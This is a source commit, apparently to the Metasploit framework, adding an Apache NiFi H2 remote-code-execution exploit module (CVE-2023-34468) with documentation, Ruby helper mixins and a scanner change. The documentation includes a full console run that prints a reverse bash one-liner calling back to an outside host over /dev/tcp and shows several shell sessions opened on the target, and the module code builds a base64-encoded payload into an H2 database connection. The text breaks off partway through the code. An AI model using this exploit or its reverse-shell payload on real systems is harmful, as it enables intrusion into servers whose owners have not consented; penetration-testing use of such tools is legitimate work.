apache nifi h2 rce
This commit is contained in:
@@ -0,0 +1,97 @@
|
||||
## Vulnerable Application
|
||||
|
||||
The DBCPConnectionPool and HikariCPConnectionPool Controller Services in
|
||||
Apache NiFi 0.0.2 through 1.21.0 allow an authenticated and authorized user
|
||||
to configure a Database URL with the H2 driver that enables custom code execution.
|
||||
This exploit will create a new ExecuteSQL process, connect it to a DB Connection
|
||||
Pool, and create a new H2 based connection. The connection is able to create
|
||||
a new memory based h2 database on the fly, with a code execution inlined that
|
||||
executes when the H2 connection, and process are started.
|
||||
|
||||
This exploit will result in several shells (5-7).
|
||||
Successfully tested against Apache nifi 1.16.0 through 1.21.0.
|
||||
|
||||
### Vulnerable Docker Images
|
||||
|
||||
Docker images are available, and exploitable in the default configuration.
|
||||
|
||||
```
|
||||
docker run -p 8443:8443 apache/nifi:1.20.0
|
||||
```
|
||||
|
||||
After the image runs for a minute or two, you'll need to grab a set of credentials
|
||||
by running grep against the logs:
|
||||
|
||||
```
|
||||
docker logs [container_id] | grep Generated
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
1. Start msfconsole
|
||||
1. Do: `use exploit/linux/http/apache_nifi_h2_rce `
|
||||
1. Do: `set username [username]`
|
||||
1. Do: `set password [password]`
|
||||
1. Do: `set rhosts [ip]`
|
||||
1. Do: `set lhost [ip]`
|
||||
1. Do: `run`
|
||||
1. You should get a shell.
|
||||
|
||||
## Options
|
||||
|
||||
### DELAY
|
||||
|
||||
The delay time before stopping and deleting the processor and DB connection pool. Defaults to `15`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Nifi 1.20.0 on Docker
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/http/apache_nifi_h2_rce
|
||||
[*] Using configured payload cmd/unix/reverse_bash
|
||||
msf6 exploit(linux/http/apache_nifi_h2_rce) > set rhosts 127.0.0.1
|
||||
rhosts => 127.0.0.1
|
||||
msf6 exploit(linux/http/apache_nifi_h2_rce) > set lhost 1.1.1.1
|
||||
lhost => 1.1.1.1
|
||||
msf6 exploit(linux/http/apache_nifi_h2_rce) > set username 4b6caac4-e1c6-431d-8e63-f014a6541362
|
||||
username => 4b6caac4-e1c6-431d-8e63-f014a6541362
|
||||
msf6 exploit(linux/http/apache_nifi_h2_rce) > set password E3ke7kCROjBabztg0acFemg5xk2QiQs1
|
||||
password => E3ke7kCROjBabztg0acFemg5xk2QiQs1
|
||||
msf6 exploit(linux/http/apache_nifi_h2_rce) > set verbose true
|
||||
verbose => true
|
||||
msf6 exploit(linux/http/apache_nifi_h2_rce) > exploit
|
||||
|
||||
[+] bash -c '0<&126-;exec 126<>/dev/tcp/1.1.1.1/4444;sh <&126 >&126 2>&126'
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[!] The service is running, but could not be validated. Apache NiFi instance supports logins and vulnerable version detected: 1.20.0
|
||||
[+] Retrieved process group: c34bfd91-0189-1000-a1ab-44dda04d471e
|
||||
[+] Created processor c34ccd20-0189-1000-5ee2-06eb40644237 in process group c34bfd91-0189-1000-a1ab-44dda04d471e
|
||||
[+] Configured processor c34ccd20-0189-1000-5ee2-06eb40644237
|
||||
[+] Configured db connection pool rkkIaE (c34cccc4-0189-1000-22c2-9fa3bb57d87b)
|
||||
[+] Enabling db connection pool
|
||||
[+] Starting processor
|
||||
[*] Command shell session 1 opened (1.1.1.1:4444 -> 172.17.0.2:49468) at 2023-08-04 21:25:44 -0400
|
||||
[*] Waiting 15 seconds before stopping and deleting
|
||||
[*] Command shell session 2 opened (1.1.1.1:4444 -> 172.17.0.2:49470) at 2023-08-04 21:25:45 -0400
|
||||
[*] Command shell session 3 opened (1.1.1.1:4444 -> 172.17.0.2:49478) at 2023-08-04 21:25:46 -0400
|
||||
[*] Command shell session 4 opened (1.1.1.1:4444 -> 172.17.0.2:49488) at 2023-08-04 21:25:49 -0400
|
||||
[*] Command shell session 6 opened (1.1.1.1:4444 -> 172.17.0.2:54526) at 2023-08-04 21:25:50 -0400
|
||||
[*] Command shell session 7 opened (1.1.1.1:4444 -> 172.17.0.2:54534) at 2023-08-04 21:25:51 -0400
|
||||
[+] Stopped and terminated processor c34ccd20-0189-1000-5ee2-06eb40644237
|
||||
[*] Found newer revision of c34ccd20-0189-1000-5ee2-06eb40644237, attempting to delete version 4
|
||||
[+] Deleted processor c34ccd20-0189-1000-5ee2-06eb40644237
|
||||
[+] Disabled db connection pool c34cccc4-0189-1000-22c2-9fa3bb57d87b, sleeping 15 seconds to allow the connection to finish disabling
|
||||
[*] Found newer revision of c34cccc4-0189-1000-22c2-9fa3bb57d87b, attempting to delete version 1
|
||||
[*] Found newer revision of c34cccc4-0189-1000-22c2-9fa3bb57d87b, attempting to delete version 2
|
||||
[*] Found newer revision of c34cccc4-0189-1000-22c2-9fa3bb57d87b, attempting to delete version 3
|
||||
[*] Found newer revision of c34cccc4-0189-1000-22c2-9fa3bb57d87b, attempting to delete version 4
|
||||
[+] Deleted db connection pool c34cccc4-0189-1000-22c2-9fa3bb57d87b
|
||||
|
||||
id
|
||||
uid=1000(nifi) gid=1000(nifi) groups=1000(nifi)
|
||||
uname -a
|
||||
Linux 06967477694d 6.3.0-kali1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.3.7-1kali1 (2023-06-29) x86_64 x86_64 x86_64 GNU/Linux
|
||||
```
|
||||
@@ -36,6 +36,12 @@ Verified against 1.12.1, 1.12.1-RC2, and 1.20.0
|
||||
|
||||
### Configuring a Vulnerable Environment
|
||||
|
||||
#### Docker
|
||||
|
||||
```
|
||||
docker run -p 8443:8443 -d apache/nifi:1.22.0
|
||||
```
|
||||
|
||||
#### Windows
|
||||
|
||||
1. Download the NiFi binaries zip file from [nifi.apache.org](https://nifi.apache.org/download.html).
|
||||
|
||||
@@ -4,20 +4,45 @@ module Msf
|
||||
class Exploit
|
||||
class Remote
|
||||
module HTTP
|
||||
# This module provides a way of interacting with wordpress installations
|
||||
# This module provides a way of interacting with Apache NiFi installations
|
||||
module Nifi
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::HTTP::Nifi::Auth
|
||||
include Msf::Exploit::Remote::HTTP::Nifi::Processor
|
||||
include Msf::Exploit::Remote::HTTP::Nifi::Dbconnectionpool
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
register_options(
|
||||
[
|
||||
Msf::Opt::RPORT(8443),
|
||||
Msf::OptString.new('TARGETURI', [ true, 'The URI of the Apache NiFi Application', '/']),
|
||||
Msf::OptString.new('USERNAME', [false, 'Username to authenticate with']),
|
||||
Msf::OptString.new('PASSWORD', [false, 'Password to authenticate with']),
|
||||
Msf::OptString.new('BEARER-TOKEN', [false, 'JWT authenticate with']),
|
||||
], Msf::Exploit::Remote::HTTP::Nifi
|
||||
)
|
||||
|
||||
register_advanced_options([
|
||||
Msf::OptBool.new('SSL', [true, 'Negotiate SSL connection', true])
|
||||
])
|
||||
end
|
||||
|
||||
# Find the version number of the Apache NiFi system based on JS calls on the nifi/ page.
|
||||
#
|
||||
# @return [Gem::Version] version number of the system, or nil on error
|
||||
def get_version
|
||||
res = send_request_cgi!(
|
||||
'uri' => normalize_uri(target_uri.path, 'nifi/')
|
||||
)
|
||||
|
||||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected Respones Code (response code: #{res.code})") unless res.code == 200
|
||||
|
||||
return Rex::Version.new(Regexp.last_match(1)) if res.body =~ %r{js/nf/nf-namespace\.js\?([\d.]*)">}
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
# Checks the API response to see if its what is expected and returns a valid result.
|
||||
@@ -46,141 +71,19 @@ module Msf
|
||||
body[item]
|
||||
end
|
||||
|
||||
# Determines if the Apache Nifi instance supports login.
|
||||
#
|
||||
# @return the value of supportsLogin from the server
|
||||
def supports_login
|
||||
response = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'access', 'config')
|
||||
})
|
||||
config = check_response('GETting access configuration', response, 200, 'config')
|
||||
config['supportsLogin']
|
||||
end
|
||||
|
||||
# Fetch the root process group's UUID
|
||||
#
|
||||
# @param token [String] The bearer token from a valid login
|
||||
# @return [String] The UUID of the root process group
|
||||
def fetch_root_process_group(token)
|
||||
opts = { 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'process-groups', 'root') }
|
||||
opts = {
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'nifi-api', 'process-groups', 'root')
|
||||
}
|
||||
opts['headers'] = { 'Authorization' => "Bearer #{token}" } if token
|
||||
response = send_request_cgi(opts)
|
||||
check_response('GETting root process group', response, 200, 'id')
|
||||
end
|
||||
|
||||
# Creates a processor in a process group
|
||||
#
|
||||
# @param token [String] The bearer token from a valid login
|
||||
# @param process_group [String] UUID of a processor group
|
||||
# @param type [String] What type of processor to create
|
||||
# @return [String] The UUID of the root process group
|
||||
def create_processor(token, process_group, type = 'org.apache.nifi.processors.standard.ExecuteProcess')
|
||||
body = {
|
||||
'component' => { 'type' => type },
|
||||
'revision' => { 'version' => 0 }
|
||||
}
|
||||
opts = {
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'process-groups', process_group, 'processors'),
|
||||
'ctype' => 'application/json',
|
||||
'data' => body.to_json
|
||||
}
|
||||
opts['headers'] = { 'Authorization' => "Bearer #{token}" } if token
|
||||
response = send_request_cgi(opts)
|
||||
check_response("POSTing new processor in process group #{process_group}", response, 201, 'id')
|
||||
end
|
||||
|
||||
# Get a processor in a process group
|
||||
#
|
||||
# @param token [String] The bearer token from a valid login
|
||||
# @param processor [String] UUID of a processoror
|
||||
# @param field [String] the key from the JSON blob to return
|
||||
# @return [String] THe value from the specified field
|
||||
def get_processor(token, processor, field = 'id')
|
||||
opts = {
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'processors', processor)
|
||||
}
|
||||
opts['headers'] = { 'Authorization' => "Bearer #{token}" } if token
|
||||
response = send_request_cgi(opts)
|
||||
check_response("GETting processor #{processor}", response, 200, field)
|
||||
end
|
||||
|
||||
# Delete a processor
|
||||
#
|
||||
# @param token [String] The bearer token from a valid login
|
||||
# @param processor [String] UUID of the processes
|
||||
# @param version [Int] The version number to delete
|
||||
def delete_processor(token, processor, version = 0)
|
||||
opts = {
|
||||
'method' => 'DELETE',
|
||||
'uri' => normalize_uri(target_uri.path, 'processors', processor),
|
||||
'vars_get' => { 'version' => version }
|
||||
}
|
||||
opts['headers'] = { 'Authorization' => "Bearer #{token}" } if token
|
||||
response = send_request_cgi(opts)
|
||||
# if we tried to delete the old revision, go ahead and delete the newer one
|
||||
# arbitrary version limit of 20
|
||||
while response.code == 400 && response.body.include?('is not the most up-to-date revision') && version <= 20
|
||||
version += 1
|
||||
vprint_status("Found newer revision of #{processor}, attempting to delete version #{version}")
|
||||
opts['vars_get'] = { 'version' => version }
|
||||
response = send_request_cgi(opts)
|
||||
end
|
||||
|
||||
check_response("DELETEting processor #{processor}", response, 200)
|
||||
end
|
||||
|
||||
# Stop processor
|
||||
#
|
||||
# @param token [String] The bearer token from a valid login
|
||||
# @param processor [String] UUID of the processes
|
||||
def stop_processor(token, processor)
|
||||
body = {
|
||||
'revision' => {
|
||||
'clientId' => 'x',
|
||||
'version' => 1
|
||||
},
|
||||
'state' => 'STOPPED'
|
||||
}
|
||||
opts = {
|
||||
'method' => 'PUT',
|
||||
'uri' => normalize_uri(target_uri.path, 'processors', processor, 'run-status'),
|
||||
'ctype' => 'application/json',
|
||||
'data' => body.to_json
|
||||
}
|
||||
opts['headers'] = { 'Authorization' => "Bearer #{token}" } if token
|
||||
response = send_request_cgi(opts)
|
||||
check_response("PUTting processor #{processor} stop command", response, 200)
|
||||
|
||||
# Stop may not have worked (but must be done first). Terminate threads now
|
||||
opts = {
|
||||
'method' => 'DELETE',
|
||||
'uri' => normalize_uri(target_uri.path, 'processors', processor, 'threads')
|
||||
}
|
||||
opts['headers'] = { 'Authorization' => "Bearer #{token}" } if token
|
||||
response = send_request_cgi(opts)
|
||||
check_response("DELETEing processor #{processor} terminate threads command", response, 200)
|
||||
end
|
||||
|
||||
# Attempts a login with username and password to retrieve a bearer token for APIs
|
||||
#
|
||||
# @return [String] The bearer token on successful login
|
||||
def retrieve_login_token
|
||||
response = send_request_cgi(
|
||||
{
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'access', 'token'),
|
||||
'vars_post' => {
|
||||
'username' => datastore['USERNAME'],
|
||||
'password' => datastore['PASSWORD']
|
||||
}
|
||||
}
|
||||
)
|
||||
check_response('POSTing credentials', response, 201)
|
||||
response.body
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -0,0 +1,33 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::Exploit::Remote::HTTP::Nifi::Auth
|
||||
# Determines if the Apache Nifi instance supports login.
|
||||
#
|
||||
# @return the value of supportsLogin from the server
|
||||
def supports_login?
|
||||
response = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'nifi-api', 'access', 'config')
|
||||
})
|
||||
config = check_response('GETting access configuration', response, 200, 'config')
|
||||
config['supportsLogin']
|
||||
end
|
||||
|
||||
# Attempts a login with username and password to retrieve a bearer token for APIs
|
||||
#
|
||||
# @return [String] The bearer token on successful login
|
||||
def retrieve_login_token
|
||||
response = send_request_cgi(
|
||||
{
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'nifi-api', 'access', 'token'),
|
||||
'vars_post' => {
|
||||
'username' => datastore['USERNAME'],
|
||||
'password' => datastore['PASSWORD']
|
||||
}
|
||||
}
|
||||
)
|
||||
check_response('POSTing credentials', response, 201)
|
||||
response.body
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,77 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::Exploit::Remote::HTTP::Nifi::Dbconnectionpool
|
||||
# Stop DB Connection Pool
|
||||
#
|
||||
# @param token [String] The bearer token from a valid login
|
||||
# @param db_con_pool [String] UUID of the DBConnectionPool
|
||||
def stop_dbconnectionpool(token, db_con_pool)
|
||||
body = {
|
||||
'disconnectedNodeAcknowledged' => false,
|
||||
'state' => 'DISABLED',
|
||||
'uiOnly' => true,
|
||||
'revision' => {
|
||||
'clientId' => 'x',
|
||||
'version' => 0
|
||||
}
|
||||
}
|
||||
opts = {
|
||||
'method' => 'PUT',
|
||||
'uri' => normalize_uri(target_uri.path, 'nifi-api', 'controller-services', db_con_pool, 'run-status'),
|
||||
'ctype' => 'application/json',
|
||||
'data' => body.to_json
|
||||
}
|
||||
opts['headers'] = { 'Authorization' => "Bearer #{token}" } if token
|
||||
response = send_request_cgi(opts)
|
||||
check_response("PUTting disable status for db connection pool #{db_con_pool}", response, 200)
|
||||
end
|
||||
|
||||
# Delete DB Connection Pool
|
||||
#
|
||||
# @param token [String] The bearer token from a valid login
|
||||
# @param db_con_pool [String] UUID of the DBConnectionPool
|
||||
def delete_dbconnectionpool(token, db_con_pool)
|
||||
version = 0
|
||||
opts = {
|
||||
'method' => 'DELETE',
|
||||
'uri' => normalize_uri(target_uri.path, 'nifi-api', 'controller-services', db_con_pool),
|
||||
'vars_get' => {
|
||||
'version' => version
|
||||
}
|
||||
}
|
||||
opts['headers'] = { 'Authorization' => "Bearer #{token}" } if token
|
||||
response = send_request_cgi(opts)
|
||||
while response.code == 400 && response.body.include?('is not the most up-to-date revision') && version <= 20
|
||||
version += 1
|
||||
vprint_status("Found newer revision of #{db_con_pool}, attempting to delete version #{version}")
|
||||
opts['vars_get'] = { 'version' => version }
|
||||
response = send_request_cgi(opts)
|
||||
end
|
||||
check_response("DELETing db connection pool #{db_con_pool}", response, 200)
|
||||
end
|
||||
|
||||
# Start DB Connection Pool
|
||||
#
|
||||
# @param token [String] The bearer token from a valid login
|
||||
# @param db_con_pool [String] UUID of the DBConnectionPool
|
||||
def start_dbconpool(token, db_con_pool)
|
||||
body = {
|
||||
'disconnectedNodeAcknowledged' => false,
|
||||
'state' => 'ENABLED',
|
||||
'uiOnly' => true,
|
||||
'revision' => {
|
||||
'clientId' => 'x',
|
||||
'version' => 0
|
||||
}
|
||||
}
|
||||
opts = {
|
||||
'method' => 'PUT',
|
||||
'uri' => normalize_uri(target_uri.path, 'nifi-api', 'controller-services', db_con_pool, 'run-status'),
|
||||
'ctype' => 'application/json',
|
||||
'data' => body.to_json
|
||||
}
|
||||
opts['headers'] = { 'Authorization' => "Bearer #{token}" } if token
|
||||
response = send_request_cgi(opts)
|
||||
check_response("PUTting start status for db connection pool #{db_con_pool}", response, 200)
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,122 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::Exploit::Remote::HTTP::Nifi::Processor
|
||||
# Start processor
|
||||
#
|
||||
# @param token [String] The bearer token from a valid login
|
||||
# @param processor [String] UUID of the processes
|
||||
def start_processor(token, processor)
|
||||
body = {
|
||||
'state' => 'RUNNING',
|
||||
'disconnectedNodeAcknowledged' => false,
|
||||
'revision' => {
|
||||
'clientId' => 'x',
|
||||
'version' => 0
|
||||
}
|
||||
}
|
||||
opts = {
|
||||
'method' => 'PUT',
|
||||
'uri' => normalize_uri(target_uri.path, 'nifi-api', 'processors', processor, 'run-status'),
|
||||
'ctype' => 'application/json',
|
||||
'data' => body.to_json
|
||||
}
|
||||
opts['headers'] = { 'Authorization' => "Bearer #{token}" } if token
|
||||
response = send_request_cgi(opts)
|
||||
check_response("PUTting processor #{processor} configuration", response, 200)
|
||||
end
|
||||
|
||||
# Stop processor
|
||||
#
|
||||
# @param token [String] The bearer token from a valid login
|
||||
# @param processor [String] UUID of the processes
|
||||
def stop_processor(token, processor)
|
||||
body = {
|
||||
'revision' => {
|
||||
'clientId' => 'x',
|
||||
'version' => 1
|
||||
},
|
||||
'state' => 'STOPPED'
|
||||
}
|
||||
opts = {
|
||||
'method' => 'PUT',
|
||||
'uri' => normalize_uri(target_uri.path, 'nifi-api', 'processors', processor, 'run-status'),
|
||||
'ctype' => 'application/json',
|
||||
'data' => body.to_json
|
||||
}
|
||||
opts['headers'] = { 'Authorization' => "Bearer #{token}" } if token
|
||||
response = send_request_cgi(opts)
|
||||
check_response("PUTting processor #{processor} stop command", response, 200)
|
||||
|
||||
# Stop may not have worked (but must be done first). Terminate threads now
|
||||
opts = {
|
||||
'method' => 'DELETE',
|
||||
'uri' => normalize_uri(target_uri.path, 'nifi-api', 'processors', processor, 'threads')
|
||||
}
|
||||
opts['headers'] = { 'Authorization' => "Bearer #{token}" } if token
|
||||
response = send_request_cgi(opts)
|
||||
check_response("DELETEing processor #{processor} terminate threads command", response, 200)
|
||||
end
|
||||
|
||||
# Delete a processor
|
||||
#
|
||||
# @param token [String] The bearer token from a valid login
|
||||
# @param processor [String] UUID of the processes
|
||||
# @param version [Int] The version number to delete
|
||||
def delete_processor(token, processor, version = 0)
|
||||
opts = {
|
||||
'method' => 'DELETE',
|
||||
'uri' => normalize_uri(target_uri.path, 'nifi-api', 'processors', processor),
|
||||
'vars_get' => { 'version' => version }
|
||||
}
|
||||
opts['headers'] = { 'Authorization' => "Bearer #{token}" } if token
|
||||
response = send_request_cgi(opts)
|
||||
# if we tried to delete the old revision, go ahead and delete the newer one
|
||||
# arbitrary version limit of 20
|
||||
while response.code == 400 && response.body.include?('is not the most up-to-date revision') && version <= 20
|
||||
version += 1
|
||||
vprint_status("Found newer revision of #{processor}, attempting to delete version #{version}")
|
||||
opts['vars_get'] = { 'version' => version }
|
||||
response = send_request_cgi(opts)
|
||||
end
|
||||
|
||||
check_response("DELETEting processor #{processor}", response, 200)
|
||||
end
|
||||
|
||||
# Creates a processor in a process group
|
||||
#
|
||||
# @param token [String] The bearer token from a valid login
|
||||
# @param process_group [String] UUID of a processor group
|
||||
# @param type [String] What type of processor to create
|
||||
# @return [String] The UUID of the root process group
|
||||
def create_processor(token, process_group, type = 'org.apache.nifi.processors.standard.ExecuteProcess')
|
||||
body = {
|
||||
'component' => { 'type' => type },
|
||||
'revision' => { 'version' => 0 }
|
||||
}
|
||||
opts = {
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'nifi-api', 'process-groups', process_group, 'processors'),
|
||||
'ctype' => 'application/json',
|
||||
'data' => body.to_json
|
||||
}
|
||||
opts['headers'] = { 'Authorization' => "Bearer #{token}" } if token
|
||||
response = send_request_cgi(opts)
|
||||
check_response("POSTing new processor in process group #{process_group}", response, 201, 'id')
|
||||
end
|
||||
|
||||
# Get a processor in a process group
|
||||
#
|
||||
# @param token [String] The bearer token from a valid login
|
||||
# @param processor [String] UUID of a processoror
|
||||
# @param field [String] the key from the JSON blob to return
|
||||
# @return [String] THe value from the specified field
|
||||
def get_processor(token, processor, field = 'id')
|
||||
opts = {
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'nifi-api', 'processors', processor)
|
||||
}
|
||||
opts['headers'] = { 'Authorization' => "Bearer #{token}" } if token
|
||||
response = send_request_cgi(opts)
|
||||
check_response("GETting processor #{processor}", response, 200, field)
|
||||
end
|
||||
end
|
||||
@@ -6,6 +6,7 @@
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Exploit::Remote::HTTP::Nifi
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
@@ -31,30 +32,17 @@ class MetasploitModule < Msf::Auxiliary
|
||||
}
|
||||
)
|
||||
)
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8443),
|
||||
OptString.new('TARGETURI', [ true, 'The URI of the Apache NiFi Application', '/nifi/login'])
|
||||
]
|
||||
)
|
||||
register_advanced_options([
|
||||
OptBool.new('SSL', [true, 'Negotiate SSL connection', true])
|
||||
])
|
||||
deregister_options('USERNAME', 'PASSWORD', 'BEARER-TOKEN')
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
vprint_status("Checking #{ip}")
|
||||
res = send_request_cgi!(
|
||||
'uri' => normalize_uri(target_uri.path)
|
||||
)
|
||||
version = get_version
|
||||
|
||||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected Respones Code (response code: #{res.code})") unless res.code == 200
|
||||
|
||||
if res.body =~ %r{js/nf/nf-namespace\.js\?([\d.]*)">}
|
||||
print_good("Apache NiFi #{Regexp.last_match(1)} found on #{ip}")
|
||||
else
|
||||
if version.nil?
|
||||
print_bad("Apache NiFi not detected on #{ip}")
|
||||
else
|
||||
print_good("Apache NiFi #{version} found on #{ip}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -19,19 +19,24 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
The DBCPConnectionPool and HikariCPConnectionPool Controller Services in
|
||||
Apache NiFi 0.0.2 through 1.21.0 allow an authenticated and authorized user
|
||||
to configure a Database URL with the H2 driver that enables custom code execution.
|
||||
This exploit will create a new ExecuteSQL process, connect it to a DB Connection
|
||||
Pool, and create a new H2 based connection. The connection is able to create
|
||||
a new memory based h2 database on the fly, with a code execution inlined that
|
||||
executes when the H2 connection, and process are started.
|
||||
|
||||
This exploit will result in several shells (5-7).
|
||||
Successfully tested against Apache nifi 1.20.0
|
||||
Successfully tested against Apache nifi 1.16.0 through 1.21.0.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'h00die', # msf module
|
||||
'Matei "Mal" Badanoiu' # discovery, POC
|
||||
'Matei "Mal" Badanoiu' # discovery
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2023-34468'],
|
||||
['URL', 'https://lists.apache.org/thread/7b82l4f5blmpkfcynf3y6z4x1vqo59h8'],
|
||||
['URL', 'https://issues.apache.org/jira/browse/NIFI-11653'],
|
||||
['URL', 'https://nifi.apache.org/security.html#1.22.0'],
|
||||
# not many h2 references on the Internet, especially for nifi, so leaving this here
|
||||
# ['URL', 'https://gist.github.com/ijokarumawak/ed9085024eeeefbca19cfb2f20d23ed4#file-table_record_change_detection_example-xml-L65']
|
||||
# ['URL', 'http://www.h2database.com/html/features.html']
|
||||
@@ -61,55 +66,13 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
)
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'The base path', '/nifi-api']),
|
||||
OptString.new('DRIVER', [true, 'Location of the H2 driver', '/opt/nifi/nifi-toolkit-current/lib/h2-2.1.214.jar']), # 1.20.0
|
||||
OptInt.new('DELAY', [true, 'The delay (s) before stopping and deleting the processor', 10])
|
||||
OptString.new('TARGETURI', [true, 'The base path', '/']),
|
||||
OptInt.new('DELAY', [true, 'The delay (s) before stopping and deleting the processor', 15])
|
||||
],
|
||||
self.class
|
||||
)
|
||||
end
|
||||
|
||||
def disable_dbconnectionpool
|
||||
body = {
|
||||
'disconnectedNodeAcknowledged' => false,
|
||||
'state' => 'DISABLED',
|
||||
'uiOnly' => true,
|
||||
'revision' => {
|
||||
'clientId' => 'x',
|
||||
'version' => 0
|
||||
}
|
||||
}
|
||||
opts = {
|
||||
'method' => 'PUT',
|
||||
'uri' => normalize_uri(target_uri.path, 'controller-services', @db_con_pool, 'run-status'),
|
||||
'ctype' => 'application/json',
|
||||
'data' => body.to_json
|
||||
}
|
||||
opts['headers'] = { 'Authorization' => "Bearer #{@token}" } if @token
|
||||
response = send_request_cgi(opts)
|
||||
check_response("PUTting disable status for db connection pool #{@db_con_pool}", response, 200)
|
||||
end
|
||||
|
||||
def delete_dbconnectionpool
|
||||
version = 0
|
||||
opts = {
|
||||
'method' => 'DELETE',
|
||||
'uri' => normalize_uri(target_uri.path, 'controller-services', @db_con_pool),
|
||||
'vars_get' => {
|
||||
'version' => version
|
||||
}
|
||||
}
|
||||
opts['headers'] = { 'Authorization' => "Bearer #{@token}" } if @token
|
||||
response = send_request_cgi(opts)
|
||||
while response.code == 400 && response.body.include?('is not the most up-to-date revision') && version <= 20
|
||||
version += 1
|
||||
vprint_status("Found newer revision of #{@db_con_pool}, attempting to delete version #{version}")
|
||||
opts['vars_get'] = { 'version' => version }
|
||||
response = send_request_cgi(opts)
|
||||
end
|
||||
check_response("DELETing db connection pool #{@processor}", response, 200)
|
||||
end
|
||||
|
||||
def create_dbconnectionpool
|
||||
@db_con_pool_name = Rex::Text.rand_text_alphanumeric(6..10)
|
||||
body = {
|
||||
@@ -124,15 +87,14 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
'bundle' => {
|
||||
'group' => 'org.apache.nifi',
|
||||
'artifact' => 'nifi-dbcp-service-nar',
|
||||
# XXX this needs to be updated to the version we find
|
||||
'version' => '1.20.0'
|
||||
'version' => @version.to_s
|
||||
},
|
||||
'name' => @db_con_pool_name
|
||||
}
|
||||
}
|
||||
opts = {
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'process-groups', @process_group, 'controller-services'),
|
||||
'uri' => normalize_uri(target_uri.path, 'nifi-api', 'process-groups', @process_group, 'controller-services'),
|
||||
'ctype' => 'application/json',
|
||||
'data' => body.to_json
|
||||
}
|
||||
@@ -141,46 +103,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
check_response("POSTing processor #{@processor} configuration", response, 201, 'id')
|
||||
end
|
||||
|
||||
def enable_dbconpool
|
||||
body = {
|
||||
'disconnectedNodeAcknowledged' => false,
|
||||
'state' => 'ENABLED',
|
||||
'uiOnly' => true,
|
||||
'revision' => {
|
||||
'clientId' => 'x',
|
||||
'version' => 0
|
||||
}
|
||||
}
|
||||
opts = {
|
||||
'method' => 'PUT',
|
||||
'uri' => normalize_uri(target_uri.path, 'controller-services', @db_con_pool, 'run-status'),
|
||||
'ctype' => 'application/json',
|
||||
'data' => body.to_json
|
||||
}
|
||||
opts['headers'] = { 'Authorization' => "Bearer #{@token}" } if @token
|
||||
response = send_request_cgi(opts)
|
||||
check_response("PUTting start status for db connection pool #{@db_con_pool}", response, 200)
|
||||
end
|
||||
|
||||
def start_processor
|
||||
body = {
|
||||
'state' => 'RUNNING', 'disconnectedNodeAcknowledged' => false,
|
||||
'revision' => {
|
||||
'clientId' => 'x',
|
||||
'version' => 0
|
||||
}
|
||||
}
|
||||
opts = {
|
||||
'method' => 'PUT',
|
||||
'uri' => normalize_uri(target_uri.path, 'processors', @processor, 'run-status'),
|
||||
'ctype' => 'application/json',
|
||||
'data' => body.to_json
|
||||
}
|
||||
opts['headers'] = { 'Authorization' => "Bearer #{@token}" } if @token
|
||||
response = send_request_cgi(opts)
|
||||
check_response("PUTting processor #{@processor} configuration", response, 200)
|
||||
end
|
||||
|
||||
def configure_dbconpool
|
||||
# our base64ed payload can't have = in it, so we'll pad out with spaces to remove them
|
||||
b64_pe = ::Base64.strict_encode64(payload.encoded)
|
||||
@@ -189,6 +111,17 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
b64_pe = ::Base64.strict_encode64(payload.encoded + ' ' * equals_count)
|
||||
end
|
||||
|
||||
if @version >= Rex::Version.new('1.23.0')
|
||||
# 1.23.0, not exploitable though
|
||||
driver = '/opt/nifi/nifi-toolkit-current/lib/h2-2.2.220.jar'
|
||||
elsif @version > Rex::Version.new('1.16.0')
|
||||
# 1.17.0-1.22.0, only up to 21 is exploitable
|
||||
